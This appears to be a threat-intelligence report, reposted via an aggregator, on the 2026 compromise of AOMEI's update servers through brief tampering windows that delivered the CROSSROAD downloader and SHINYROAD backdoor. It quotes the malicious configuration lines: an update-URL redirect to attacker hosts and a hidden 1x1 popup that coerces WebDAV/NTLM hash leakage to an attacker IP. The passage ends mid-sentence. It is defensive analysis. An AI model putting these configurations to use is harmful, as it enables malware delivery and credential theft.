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Investigating Ephemeral Supply Chain Tampering

Visibility and context on the threats that matter most.

Hacker News 最新wondersky2026/10/19 · 27 天前30 分钟阅读

以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。

Visibility and context on the threats that matter most.

Google Threat Intelligence Group (GTIG) and Mandiant investigated a software supply chain compromise campaign targeting the update infrastructure belonging to AOMEI Technology between April 2026 and July 2026. The threat actor conducted repeated, short-burst configuration tampering against AOMEI origin servers. Each tampering window remained active for only five to ten minutes before reverting to authentic versions. This is the first time that we have encountered a software supply chain compromise that was implemented with these very short windows, effectively evading traditional point-in-time triage and automated file scanning.

The campaign delivered a multi-stage payload chain involving the newly tracked CROSSROAD downloader and SHINYROAD backdoor. The threat actor iteratively modified its tradecraft, pivoting its staging infrastructure from cloud providers to dedicated domains and legitimate cloud storage. This evolving staging setup makes it particularly challenging for defenders to establish effective infrastructure-based blocking or network controls. We attribute this activity to a threat cluster we are tracking as UNC7017.

Based on available telemetry, impacted organizations spanned diverse sectors, including IT services, telecommunications, higher education and related entities in Australia, Brazil, India, Pakistan, Portugal, Singapore, South Africa, Spain, Switzerland, Türkiye, and the United States. That said, because the campaign attempted to deliver malware to any system polling the update distribution servers during the threat actor’s tampering windows, victimology was opportunistic and likely extends more broadly than the organizations we directly identified.

This campaign was initially identified through collaborative research with the ManageEngine Threat Analysis Lab (METAL), part of Zoho Corporation, whose endpoint detection and response (EDR) telemetry first detected the activity in late May across multiple customer environments. We thank the METAL team for their proactive telemetry sharing and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem. Following this joint effort, GTIG notified potentially affected organizations and shared technical findings with AOMEI Technology. AOMEI reported that they took corrective action to secure their distribution servers. METAL’s analysis of this campaign is available in their blog.

AOMEI Backupper provides data backup, disk cloning, and disaster recovery, while AnyViewer facilitates remote desktop access and support. Users of these products rely on the ABMarket update flow and its associated background services (Backupper.exe and ABNotify.exe) that periodically poll remote endpoints over HTTPS for update notifications and promotional pop ups:

Update Configuration (down_html.ini): The software periodically sends an HTTPS request to https://www2.aomeisoftware.com/download/abpopup/down_html.ini. This file contains the version number, the MD5 hash of the expected update package, and the URL where the client should download upgrade-now.zip.

Notification Configuration (Notifycfg.ini): The software contacts https://account.aomeitech.com/Notifycfg.ini. This file instructs the local notification process (ABNotify.exe) what messages to display and specifies commands or programs located in the software’s local directory to execute.

Under normal conditions, these files direct the client to download official files hosted on AOMEI’s own domain (www2.aomeisoftware.com).

Rather than maintaining a persistent, static modification on the vendor’s distribution servers, GTIG and METAL’s telemetry indicates UNC7017 conducted repeated, short-burst configuration tampering. We confirmed several tampering windows in 2026, alongside related malware samples observed in the wild starting in late April. However, given the short duration of these windows, it is probable that additional tampering occurred throughout the campaign that remained outside our visibility. Systems checking for updates during an active window received malicious instructions, while systems checking before or after received clean, authentic files.

During the brief tampering windows, the threat actor modified the update settings file on the update server to redirect the software to download a malicious ZIP package from attacker-controlled servers instead of legitimate updates. The threat actor also altered the notification settings file on the update server to abuse the software’s automatic notification service, forcing the system to immediately execute the downloaded malware locally. If a user’s application checked for updates while the threat actor’s modifications were active, then the application would download the trojanized update and execute malware.

In cases where altered configuration files were active, the threat actor directed clients to download a weaponized ZIP archive containing CROSSROAD, an initial downloader responsible for environment validation and staging secondary components. CROSSROAD subsequently established scheduled task persistence to deploy SHINYROAD, a modular backdoor framework delivered via trojanized administration utilities to facilitate covert command and control.

A defining characteristic of UNC7017's operational security is its reliance on ephemeral, time-compressed server modifications. Across all directly observed waves, the adversary avoided leaving malicious configurations resident on AOMEI's update servers:

May 28: 10-minute exposure window (05:40 – 05:50 UTC)

July 16: 6-minute exposure window (08:33 – 08:39 UTC)

July 20: 5-minute exposure window (10:35 – 10:40 UTC)

At the conclusion of each window, UNC7017 reverted both down_html.ini and Notifycfg.ini to their legitimate contents. This hinders post-incident vendor audits, minimizes the window for network defenders to capture live malicious server responses, and restricts compromise to clients polling for updates during those exact minutes.

To compromise endpoints without relying on software vulnerabilities, UNC7017 abused the AOMEI client's legitimate update and popup rendering workflow. By default, the client downloads update archives into its Tmphtml directory, unpacks them to the local html/ directory, and processes instructions from two remote configuration files: down_html.ini and Notifycfg.ini.

To ensure the AOMEI client accepted and extracted the weaponized upgrade-now.zip archive, UNC7017 systematically incremented the minor build version (“thrid”) and updated the expected MD5 checksum in down_html.ini during each tampering window:

[Date] -Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip +Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip Name=upgrade-now [Version] maj=8 min=2 -thrid=5 +thrid=6 [MD5] -Val=EE89C99F3753231771170F5D9CBBAE1E +Val=31323E7E738230FA6A8DEEF2B7894666

Figure 2: July 16 tampering of down_html.ini redirecting downloads to promotion.storage-data.com with incremented version (thrid=6) and synchronized MD5 hash.

During the 6-minute window on July 16, UNC7017 simultaneously modified Notifycfg.ini (SHA256: d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934), injecting over 35,000 lines of repetitive configuration sections named [dummy_XXXXXX]. This extreme configuration bloat was structured to override standard client version checks forcing the client to trigger an update regardless of its installed version and immediately execute the unpacked CROSSROAD dropper (upgrade-now.exe) from the local html/ directory.

Between April an July 2026, UNC7017 shifted its staging and delivery infrastructure between public cloud buckets and actor controlled lookalike domains, likely to test payload delivery and masquerade as legitimate vendor traffic.

Early Cloud Staging (April–May 2026): Early CROSSROAD payloads (upgrade-now.exe observed May 20) relied on Alibaba Cloud Object Storage (serv.oss-cn-hongkong.aliyuncs.com).

Dedicated Domain Infrastructure (July 1–7, 2026): The threat actor transitioned to dedicated, vendor-themed domains (storage-data.com, promotion.storage-data.com, aomei.storage-data.com).

Hybrid Cloud Delivery Split (July 20, 2026): During the 5-minute window on July 20, the threat actor modified down_html.ini to direct initial client downloads to a public Google Cloud Storage bucket (storage.googleapis.com/aomeiupdate/upgrade-now.zip) rather than storage-data.com. This tactical shift allowed the initial download to bypass enterprise proxy filters that block Newly Registered Domains (NRDs), while the executed CROSSROAD loader continued to leverage storage-data.com for secondary payload retrieval and C2 communications.

[Date] Url=https://storage.googleapis.com/aomeiupdate/upgrade-now.zip Name=upgrade-now [Version] maj=8 min=2 thrid=7 [MD5] Val=BF73C4391B58CA95220CE3AE03F66DCF

Figure 3: July 20 modification of down_html.ini utilizing Google Cloud Storage (thrid=7) to evade Newly Registered Domain (NRD) perimeter blocks.

On July 20, UNC7017 introduced a secondary exploitation vector inside Notifycfg.ini. Prior to tampering, Notifycfg.ini displayed a legitimate 400x380 promotional banner advertising "World Cup Deals." The threat actor replaced this banner with an invisible 1x1 pixel window (Width=1, Height=1) assigned maximum execution priority (Priority=9999) that instructed the client to render a remote HTML file over a universal naming convention (UNC) WebDAV path:

[PopWindow1] ID=307 Title=20260408-AB Flash Sale (All Lang 不含EN) Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html" Width=1 Height=1 Priority=9999

Figure 4: Malicious Notifycfg.ini configuration from July 20 implementing an invisible 1x1 popup window to coerce WebDAV/NTLM authentication to 8.210.84.56.

By forcing the AOMEI client to request a remote file:// resource via WebDAV (DavWWWRoot), UNC7017 created a silent credential harvesting mechanism capable of coercing endpoints into transmitting NetNTLMv2 authentication hashes to the actor-controlled IP address (8.210.84.56) without user visibility.

Across the campaign waves, UNC7017 deployed a consistent chain of custom loaders and commercial/open-source post-exploitation frameworks:

Defense Evasion via Timestomping: Analysis of an early CROSSROAD dropper (upgrade-now.exe) submitted to VirusTotal on May 20 revealed that the threat actor manipulated PE compilation timestamps to display fabricated 2024 build dates in an effort to complicate forensic timeline analysis.

Modified Radmin Server Backdoor: During the May 28 wave, the unsigned loader dropped into the html/ directory executed rsetup64.exe /intsetup, silently installing a modified version of the commercial remote administration tool Radmin Server to establish persistent remote access.

Adaptix C2 Integration: Since at least early July 2026, the threat actor was observed deploying the Adaptix C2 framework across its storage-data.com infrastructure.

The primary Stage-2 downloader (upgrade-now.exe, SHA256: 9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450) is a 64-bit Windows executable written in C, tracked by GTIG as the CROSSROAD malware family. Delivered inside upgrade-now.zip, CROSSROAD is responsible for environment validation, active endpoint cleanup, staging the secondary payload bundle, and establishing scheduled task persistence for the Stage-3 backdoor suite.

Path Verification: As part of its configuration routine, CROSSROAD checks whether its file path contains the substring AOMEI. If the substring is absent, it initiates a self-deletion routine; however, it does not abort, continuing both its background configuration cleanup and its downloader routines regardless.

Execution Guardrails: Before proceeding with secondary downloads, CROSSROAD enforces two primary checks:

Geolocation Check: Queries external domain name system (DNS) (myip

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